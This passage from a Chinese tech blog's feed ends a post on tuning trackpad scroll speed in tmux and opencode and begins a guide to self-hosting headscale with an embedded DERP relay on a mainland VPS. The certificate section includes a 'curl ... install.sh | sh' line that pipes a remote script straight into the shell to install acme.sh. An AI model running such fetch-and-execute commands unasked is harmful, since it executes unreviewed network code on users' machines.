&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 找出所有被识别为触摸板的设备节点（NAME 为设备名）
for f in &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event*; do
  name=$(udevadm info -q property -n &amp;quot;$f&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | grep &amp;#x27;^NAME=&amp;#x27; | sed &amp;#x27;s&amp;#x2F;NAME=&amp;#x2F;&amp;#x2F;&amp;#x27;)
  tp=$(udevadm info -q property -n &amp;quot;$f&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | grep -c &amp;#x27;ID_INPUT_TOUCHPAD=1&amp;#x27;)
  [ &amp;quot;$tp&amp;quot; = &amp;quot;1&amp;quot; ] &amp;amp;&amp;amp; echo &amp;quot;$f  $name&amp;quot;
done

# 查看设备的完整属性（vendor&amp;#x2F;model、尺寸、usb 路径）
udevadm info -q property -n &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event8 | sort

# 查看设备在 &amp;#x2F;proc&amp;#x2F;bus&amp;#x2F;input&amp;#x2F;devices 中的注册信息（轴位图、handlers）
awk &amp;#x27;&amp;#x2F;Name=&amp;quot;HS-LP88 -PTP-01-23-1F USB KeyBoard Touchpad&amp;quot;&amp;#x2F;{found=1} found{print} found&amp;amp;&amp;amp;&amp;#x2F;^$&amp;#x2F;{exit}&amp;#x27; &amp;#x2F;proc&amp;#x2F;bus&amp;#x2F;input&amp;#x2F;devices
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xi-tong-she-zhi-yu-quirk&quot;&gt;系统设置与 quirk&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# GNOME 触摸板设置（speed 0.0 默认、natural-scroll、two-finger-scrolling）
gsettings get org.gnome.desktop.peripherals.touchpad speed
gsettings get org.gnome.desktop.peripherals.touchpad natural-scroll

# 查看设备当前生效的 libinput quirks（无输出 = 无 quirk）
libinput quirks list &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zhu-ceng-ce-liang-shi-jian-liu&quot;&gt;逐层测量事件流&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ① 内核原始事件 + 轴分辨率（evtest 输出含 Min&amp;#x2F;Max&amp;#x2F;Resolution）
sudo evtest &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event8
#   → ABS_X Max 1433 Resolution 14   （14 units&amp;#x2F;mm，102×51mm）

# ② libinput 处理后的滚动事件（POINTER_SCROLL_FINGER，1.0 = 一格滚轮）
sudo libinput debug-events --device &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event8

# ③ Wayland 应用层实际收到的 axis 事件（数值即像素，mutter 正常化后的真实输入）
timeout 15 wev

# 统计 wev 中每个手势的像素总量：
python3 - &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
import re
times, vals = [], []
for line in open(&amp;#x27;&amp;#x2F;tmp&amp;#x2F;wev.txt&amp;#x27;):
    m = re.search(r&amp;#x27;axis: time: (\d+); axis: 0 \(vertical\), value: ([\d.]+)&amp;#x27;, line)
    if m: times.append(int(m.group(1))); vals.append(float(m.group(2)))
g, acc, prev = 0, 0, None
for t, v in zip(times, vals):
    if prev and t - prev &amp;gt; 300: print(f&amp;quot;gesture {g}: {acc:.1f}px&amp;quot;); g += 1; acc = 0
    acc += v; prev = t
print(f&amp;quot;gesture {g}: {acc:.1f}px&amp;quot;)
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tmux-ceng&quot;&gt;tmux 层&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看当前滚轮绑定（确认 -N 步长是否生效，改完配置必查）
tmux list-keys -T copy-mode-vi | grep Wheel

# 统计一个手势产生多少个 SGR 滚轮事件（在 tmux 窗格里运行，鼠标模式由程序自己开启）
tmux new-window -d -n wc &amp;quot;python3 -c &amp;#x27;
import sys, time
sys.stdout.write(chr(27)+chr(91)+chr(63)+chr(49)+chr(48)+chr(48)+chr(48)+chr(104))
sys.stdout.flush()
n=0; start=time.time()
while time.time()-start&amp;lt;20:
    d=sys.stdin.buffer.read(1)
    if not d: continue
    if d==b\&amp;quot;\\x1b\&amp;quot;:
        rest=sys.stdin.buffer.read(3)
        if rest.startswith(b\&amp;quot;[M\&amp;quot;): n+=1
print(); print(\&amp;quot;SGR events:\&amp;quot;, n)
&amp;#x27;&amp;quot;

# 测真实滚动行数：copy_cursor_line 差分（capture-pane 抓不到 copy-mode 视图，别用那个）
tmux display-message -p -t &amp;lt;pane&amp;gt; &amp;#x27;copy_cursor_line=#{copy_cursor_line}&amp;#x27;   # 手势前
tmux display-message -p -t &amp;lt;pane&amp;gt; &amp;#x27;copy_cursor_line=#{copy_cursor_line}&amp;#x27;   # 手势后，差值即行数
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;opencode-pei-zhi&quot;&gt;opencode 配置&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 配置文件位置（启动时加载，改后需重启 opencode）
cat ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;tui.json
# {&amp;quot;$schema&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;opencode.ai&amp;#x2F;tui.json&amp;quot;, &amp;quot;scroll_speed&amp;quot;: 1}

# 源码中的默认值定位（packages&amp;#x2F;tui&amp;#x2F;src&amp;#x2F;util&amp;#x2F;scroll.ts）
#   getScrollAcceleration(): scroll_speed 未配置时默认 CustomSpeedScroll(3)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiu-fu&quot;&gt;修复&lt;&#x2F;h2&gt;
&lt;p&gt;opencode 的 TUI 配置在 &lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;tui.json&lt;&#x2F;code&gt;（schema: &lt;code&gt;https:&#x2F;&#x2F;opencode.ai&#x2F;tui.json&lt;&#x2F;code&gt;），写入：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;$schema&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;opencode.ai&amp;#x2F;tui.json&amp;quot;,
  &amp;quot;scroll_speed&amp;quot;: 1
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置启动时加载，重启 opencode 生效。想要浏览器式惯性平滑手感可加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;scroll_speed&amp;quot;: 1,
  &amp;quot;scroll_acceleration&amp;quot;: { &amp;quot;enabled&amp;quot;: true }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;scroll_speed&lt;&#x2F;code&gt; 范围 ≥0.001，越大越快。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;同一个滚动灵敏度问题，事件链上每一层都有各自的&quot;每事件行数&quot;乘数：libinput（每 mm 格数）→ mutter（px）→ VTE（SGR 事件率）→ TUI（每事件行数）。&lt;strong&gt;感知上的速度 = 各层乘数之积&lt;&#x2F;strong&gt;，改任何一层都有效，但要注意影响面：
&lt;ul&gt;
&lt;li&gt;libinput &lt;code&gt;ScrollDistance&lt;&#x2F;code&gt; quirk：全局，所有应用一起变&lt;&#x2F;li&gt;
&lt;li&gt;tmux &lt;code&gt;-N&lt;&#x2F;code&gt;：只影响 tmux copy-mode 滚动&lt;&#x2F;li&gt;
&lt;li&gt;opencode &lt;code&gt;scroll_speed&lt;&#x2F;code&gt;：只影响 opencode TUI（本项目最终采用）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;排查工具清单：&lt;code&gt;evtest&lt;&#x2F;code&gt;（内核原始事件）、&lt;code&gt;libinput debug-events&lt;&#x2F;code&gt;（libinput 输出）、&lt;code&gt;wev&lt;&#x2F;code&gt;（Wayland 应用层事件）、tmux &lt;code&gt;copy_cursor_line&lt;&#x2F;code&gt; 差分（测实际滚动行数）。&lt;&#x2F;li&gt;
&lt;li&gt;教训：先确认&quot;你说的终端到底是哪个程序&quot;，再开始排查——本问题在 tmux 层投入了大量时间，实际元凶是 opencode。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>自建 headscale 打通公司与家庭的 P2P 网络:方案选型、部署与面板</title>
        <published>2026-08-14T18:14:52+08:00</published>
        <updated>2026-10-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/headscale-p2p-network-deploy/"/>
        <id>https://vercel.juzhong.asia/2026/08/headscale-p2p-network-deploy/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/headscale-p2p-network-deploy/">&lt;h1 id=&quot;xu-qiu&quot;&gt;需求&lt;&#x2F;h1&gt;
&lt;p&gt;打通&lt;strong&gt;公司工作机&lt;&#x2F;strong&gt;(Ubuntu 24.04,位于公司 NAT 后)与&lt;strong&gt;家庭机器&lt;&#x2F;strong&gt;(Debian 13,位于家宽 NAT 后)的加密互联。已有&lt;strong&gt;一台阿里云北京 VPS&lt;&#x2F;strong&gt; 可作协商&#x2F;中继节点。用途:SSH 运维、访问公司内部 GitLab&#x2F;Jenkins&#x2F;Wiki、RDP 桌面。&lt;&#x2F;p&gt;
&lt;p&gt;约束条件:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;VPS 为大陆节点,80&#x2F;443 端口提供服务需 &lt;strong&gt;ICP 备案&lt;&#x2F;strong&gt;,不能走常规端口;&lt;&#x2F;li&gt;
&lt;li&gt;尽量&lt;strong&gt;不依赖家庭路由器配置&lt;&#x2F;strong&gt;(不强制端口转发);&lt;&#x2F;li&gt;
&lt;li&gt;数据面优先点对点,&lt;strong&gt;流量不过第三方&lt;&#x2F;strong&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;维护简单、逻辑清晰。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;fang-an-xuan-xing&quot;&gt;方案选型&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;P2P 直连&lt;&#x2F;th&gt;&lt;th&gt;VPS 角色&lt;&#x2F;th&gt;&lt;th&gt;维护难度&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;headscale&lt;&#x2F;strong&gt;(自托管 Tailscale 控制面)&lt;&#x2F;td&gt;&lt;td&gt;✅ 自动打洞,失败走 DERP&lt;&#x2F;td&gt;&lt;td&gt;控制面 + 中继兜底&lt;&#x2F;td&gt;&lt;td&gt;低&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;选用&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;纯 WireGuard 星型&lt;&#x2F;td&gt;&lt;td&gt;❌ 全走 VPS&lt;&#x2F;td&gt;&lt;td&gt;数据中继&lt;&#x2F;td&gt;&lt;td&gt;最低&lt;&#x2F;td&gt;&lt;td&gt;带宽被 VPS 卡死&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;WG 手动直连 + VPS 兜底&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 部分&lt;&#x2F;td&gt;&lt;td&gt;中继&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;NAT 变化要手动改&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OpenVPN&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;中继&lt;&#x2F;td&gt;&lt;td&gt;高(PKI)&lt;&#x2F;td&gt;&lt;td&gt;无 P2P、性能差&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tinc &#x2F; n2n &#x2F; zerotier&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 部分&lt;&#x2F;td&gt;&lt;td&gt;协商&#x2F;中继&lt;&#x2F;td&gt;&lt;td&gt;中高&lt;&#x2F;td&gt;&lt;td&gt;维护弱&#x2F;控制面在海外&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;选 headscale 的理由&lt;&#x2F;strong&gt;:真 P2P(打洞成功流量不经 VPS,带宽无瓶颈)、DERP 中继兜底(打洞失败仍可用)、控制面一个 Go 二进制 + 官方客户端,维护最清晰。客户端用 Tailscale 官方客户端(Apache 2.0 开源),控制面完全自建,数据不出自己的节点。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jia-gou-yu-yuan-li&quot;&gt;架构与原理&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;公司机 (Ubuntu 24.04)          VPS (阿里云北京)                 home 机 (Debian 13)
┌─────────────────┐   ①元数据  ┌──────────────────────┐   ①元数据  ┌─────────────────┐
│ tailscale       │◀──8443──▶  │ headscale 控制面(8443)│◀──8443──▶  │ tailscale       │
│                 │            │ DERP 中继(同 8443)     │            │                 │
│                 │            │ STUN (3478&amp;#x2F;udp)       │            │                 │
└──────┬──────────┘            └──────────────────────┘            └────────┬────────┘
       │  ② 直连 UDP(打洞成功,不经 VPS)                                    │
       └────────────────────────────────────────────────────────────────────┘
       │  ③ DERP 中继 TCP 8443(打洞失败兜底,仍端到端加密)                  │
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;三种流量路径:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;控制面&lt;&#x2F;strong&gt;(headscale):只交换元数据——公钥、双方公网 IP:端口、NAT 类型、节点列表。不承载业务流量。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;P2P 直连&lt;&#x2F;strong&gt;(打洞成功):两端 UDP 直连,WireGuard 加密,流量完全不经 VPS。&lt;code&gt;tailscale status&lt;&#x2F;code&gt; 显示 &lt;code&gt;direct&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DERP 中继&lt;&#x2F;strong&gt;(打洞失败):走 VPS 上的中继,但只转发端到端加密密文,&lt;strong&gt;中继无法解密内容&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;nat-da-dong-wei-shen-me-you-shi-shi-bai&quot;&gt;NAT 打洞为什么有时失败&lt;&#x2F;h2&gt;
&lt;p&gt;打洞依赖双方 NAT 的&quot;入站宽容度&quot;,&lt;strong&gt;成功率取决于最严格的那一端,不是最宽松的&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;NAT 类型&lt;&#x2F;th&gt;&lt;th&gt;入站行为&lt;&#x2F;th&gt;&lt;th&gt;打洞结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Full cone&lt;&#x2F;td&gt;&lt;td&gt;任何人发到映射端口都能进&lt;&#x2F;td&gt;&lt;td&gt;几乎必成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Restricted&#x2F;Port-restricted cone(家用路由器)&lt;&#x2F;td&gt;&lt;td&gt;只收&quot;映射记录的源&quot;&lt;&#x2F;td&gt;&lt;td&gt;双端同时发包可成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Symmetric&lt;&#x2F;strong&gt;(企业防火墙&#x2F;CGNAT)&lt;&#x2F;td&gt;&lt;td&gt;只收&quot;源地址精确匹配&quot;,且每次出站换端口&lt;&#x2F;td&gt;&lt;td&gt;大概率失败 → 走 DERP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;典型死局:home 是 cone(能收到公司的包),公司是 symmetric(收不到 home 的回包,因为每次出站端口都变)→ 单向通,打洞失败,自动降级 DERP。本部署实测:公司 NAT 友好,打洞成功,ping 21ms 直连。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;derp-yu-stun-de-gui-shu&quot;&gt;DERP 与 STUN 的归属&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;STUN(UDP 3478)由 DERP 服务器内置提供&lt;&#x2F;strong&gt;(headscale 内置 DERP 自带),客户端靠它探测自己的公网 IP:端口;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DERP 中继复用 headscale 的 HTTPS 端口 8443&lt;&#x2F;strong&gt;(内置 DERP 与主服务共用 TLS 监听),无独立端口;&lt;&#x2F;li&gt;
&lt;li&gt;headscale 内置 DERP &lt;strong&gt;默认 &lt;code&gt;verify_clients: true&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;——只允许本 tailnet 节点中继,外部客户端直接拒绝(防滥用,零配置)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bu-shu-zhun-bei&quot;&gt;部署准备&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;duan-kou-yu-an-quan-zu-bei-an-yue-shu&quot;&gt;端口与安全组(备案约束)&lt;&#x2F;h2&gt;
&lt;p&gt;VPS 为大陆节点,80&#x2F;443 需备案,故全部走自定义端口:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;端口&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;TCP 8443&lt;&#x2F;td&gt;&lt;td&gt;headscale 控制面 + 内置 DERP 中继(共用)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;UDP 3478&lt;&#x2F;td&gt;&lt;td&gt;STUN 打洞辅助&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TCP 22&lt;&#x2F;td&gt;&lt;td&gt;SSH(保留)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;阿里云安全组放行 &lt;code&gt;8443&#x2F;tcp 3478&#x2F;udp&lt;&#x2F;code&gt;。部署前实测:VPS 安全组原只放行 22,其余端口全被拦——这是最容易忽略的坑。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yu-ming-yu-zheng-shu-cloudflare-dns-acme-sh&quot;&gt;域名与证书(Cloudflare DNS + acme.sh)&lt;&#x2F;h2&gt;
&lt;p&gt;域名托管在 Cloudflare,用 acme.sh 的 &lt;strong&gt;&lt;code&gt;dns_cf&lt;&#x2F;code&gt; 插件做 DNS-01 验证&lt;&#x2F;strong&gt;(不依赖 80 端口,正好绕开备案):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Cloudflare 控制台 → My Profile → API Tokens → Create Token
# 模板 &amp;quot;Edit zone DNS&amp;quot; → Zone 限定你的域名 → 得到 CF_Token &amp;#x2F; CF_Account_ID

curl https:&amp;#x2F;&amp;#x2F;gitee.com&amp;#x2F;neilpang&amp;#x2F;acme.sh&amp;#x2F;raw&amp;#x2F;master&amp;#x2F;install.sh | sh   # GitHub 可能不通,用 gitee
export CF_Token=&amp;quot;xxx&amp;quot; CF_Account_ID=&amp;quot;xxx&amp;quot;
~&amp;#x2F;.acme.sh&amp;#x2F;acme.sh --issue --dns dns_cf -d headscale.demo.com

~&amp;#x2F;.acme.sh&amp;#x2F;acme.sh --install-cert -d headscale.demo.com \
  --key-file ~&amp;#x2F;p2p&amp;#x2F;certs&amp;#x2F;key.pem --fullchain-file ~&amp;#x2F;p2p&amp;#x2F;certs&amp;#x2F;cert.pem \
  --reloadcmd &amp;quot;docker restart headscale&amp;quot;    # 续期后自动重载容器
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自动续期由 acme.sh 安装时写入的 cron 负责(每天检查),&lt;code&gt;--reloadcmd&lt;&#x2F;code&gt; 让续期后自动加载新证书,全链路无人值守。&lt;&#x2F;p&gt;
&lt;p&gt;⚠️ 记录必须 &lt;strong&gt;DNS-only(灰云)&lt;&#x2F;strong&gt;:不要开 Cloudflare 橙色代理,否则 8443 等非标准端口无法穿透。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jing-xiang-zhun-bei-guo-nei-vps-la-bu-dong-docker-hub&quot;&gt;镜像准备(国内 VPS 拉不动 Docker Hub)&lt;&#x2F;h2&gt;
&lt;p&gt;VPS 实测连 Docker Hub 超时(DNS 被污染),但 &lt;strong&gt;ghcr.io 可直拉&lt;&#x2F;strong&gt;(headplane 镜像就是 VPS 直拉的)。headscale 镜像走本地中转:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本地(公司机,有代理):
podman pull docker.io&amp;#x2F;headscale&amp;#x2F;headscale:0.29.3
podman save docker.io&amp;#x2F;headscale&amp;#x2F;headscale:0.29.3 -o headscale.tar
scp headscale.tar vps:&amp;#x2F;tmp&amp;#x2F;
# VPS:
docker load -i &amp;#x2F;tmp&amp;#x2F;headscale.tar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;vps-bu-shu-headscale-headplane&quot;&gt;VPS 部署(headscale + headplane)&lt;&#x2F;h1&gt;
&lt;p&gt;部署目录 &lt;code&gt;~&#x2F;p2p&#x2F;&lt;&#x2F;code&gt;(用户有 docker 组权限,全程无需 root)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;docker-compose-yml&quot;&gt;docker-compose.yml&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;services:
  headscale:
    image: headscale&amp;#x2F;headscale:0.29.3
    container_name: headscale
    restart: unless-stopped
    command: serve
    volumes:
      - .&amp;#x2F;config:&amp;#x2F;etc&amp;#x2F;headscale
      - .&amp;#x2F;data:&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;headscale
      - .&amp;#x2F;certs:&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;headscale&amp;#x2F;certs:ro
    ports:
      - &amp;quot;8443:8443&amp;#x2F;tcp&amp;quot;
      - &amp;quot;3478:3478&amp;#x2F;udp&amp;quot;

  headplane:
    image: ghcr.io&amp;#x2F;tale&amp;#x2F;headplane:latest
    container_name: headplane
    restart: unless-stopped
    depends_on: [headscale]
    volumes:
      - .&amp;#x2F;headplane.yaml:&amp;#x2F;etc&amp;#x2F;headplane&amp;#x2F;config.yaml:ro
      - .&amp;#x2F;data&amp;#x2F;headplane:&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;headplane
      - .&amp;#x2F;config:&amp;#x2F;etc&amp;#x2F;headscale:ro
    ports:
      - &amp;quot;127.0.0.1:3000:3000&amp;#x2F;tcp&amp;quot;
      - &amp;quot;100.64.0.100:3000:3000&amp;#x2F;tcp&amp;quot;   # 更新(2026-08-15):VPS 管理节点加入后双绑定,tailnet 内访问
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;100.64.0.100&lt;&#x2F;code&gt; 是 VPS 节点的&lt;strong&gt;固定&lt;&#x2F;strong&gt; tailnet IP(headscale 无 CLI 指定 IP,直接改 sqlite &lt;code&gt;nodes.ipv4&lt;&#x2F;code&gt; 实现,详见下节)。若节点重新注册导致 IP 变化,需同步改此绑定与 headplane.yaml 的 &lt;code&gt;base_url&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;config-yaml-guan-jian-xiang&quot;&gt;config.yaml 关键项&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;server_url: https:&amp;#x2F;&amp;#x2F;headscale.demo.com:8443
listen_addr: 0.0.0.0:8443
metrics_listen_addr: 0.0.0.0:9090
prefixes:
  v4: 100.64.0.0&amp;#x2F;10                # tailnet 虚拟网段,与家&amp;#x2F;公司网段无冲突
derp:
  urls: []                          # ★ 清空官方 DERP 地图,否则客户端会绕海外
  server:
    enabled: true
    region_code: &amp;quot;ali&amp;quot;
    region_name: &amp;quot;Aliyun Beijing&amp;quot;
    ipv4: &amp;lt;VPS公网IP&amp;gt;
    stun_listen_addr: &amp;quot;0.0.0.0:3478&amp;quot;
    # verify_clients 默认 true:仅本 tailnet 节点可中继
database:
  type: sqlite
tls_cert_path: &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;headscale&amp;#x2F;certs&amp;#x2F;cert.pem
tls_key_path: &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;headscale&amp;#x2F;certs&amp;#x2F;key.pem
dns:
  magic_dns: false
  override_local_dns: false          # 关掉 MagicDNS,避免干扰公司 DNS
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;两个必踩的坑&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;derp.urls&lt;&#x2F;code&gt; 若留默认(指向 controlplane.tailscale.com),客户端会优先尝试官方海外 DERP——必须清空,只留内置;&lt;&#x2F;li&gt;
&lt;li&gt;headscale 0.29 要求 &lt;code&gt;dns.override_local_dns: true&lt;&#x2F;code&gt; 时必须有 &lt;code&gt;dns.nameservers.global&lt;&#x2F;code&gt;——不用 MagicDNS 就直接两个都关。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;启动验证:&lt;code&gt;curl -k https:&#x2F;&#x2F;headscale.demo.com:8443&#x2F;health&lt;&#x2F;code&gt; 返回 &lt;code&gt;{&quot;status&quot;:&quot;pass&quot;}&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ke-hu-duan-jie-ru-gong-si-ji-home-ji-vps-guan-li-jie-dian&quot;&gt;客户端接入(公司机 + home 机 + VPS 管理节点)&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;更新(2026-08-15)&lt;&#x2F;strong&gt;:新增 VPS 作为 tailnet 第 3 节点(管理入口),headplane 面板经 tailnet 访问。本节点也按下面流程加入,只是 headplane 部署在本机上。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;更新(2026-08-15)&lt;&#x2F;strong&gt;:新增 home 局域网 Proxmox 宿主(&lt;code&gt;peter.xiao.com&lt;&#x2F;code&gt;,192.168.2.100,Debian 13)为 tailnet 第 4 节点,headplane 面板中重命名为 &lt;code&gt;peter-xiao100&lt;&#x2F;code&gt;(100.64.0.3)。同时把全部节点在 headplane 面板统一重命名:&lt;code&gt;xiao&lt;&#x2F;code&gt; → &lt;code&gt;xiao200&lt;&#x2F;code&gt;、VPS &lt;code&gt;iz2zehkipqcroqwfrvhwj7z&lt;&#x2F;code&gt; → &lt;code&gt;ali&lt;&#x2F;code&gt;。节点重命名完全可以在 headplane 面板(Machines)操作,无需 CLI。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
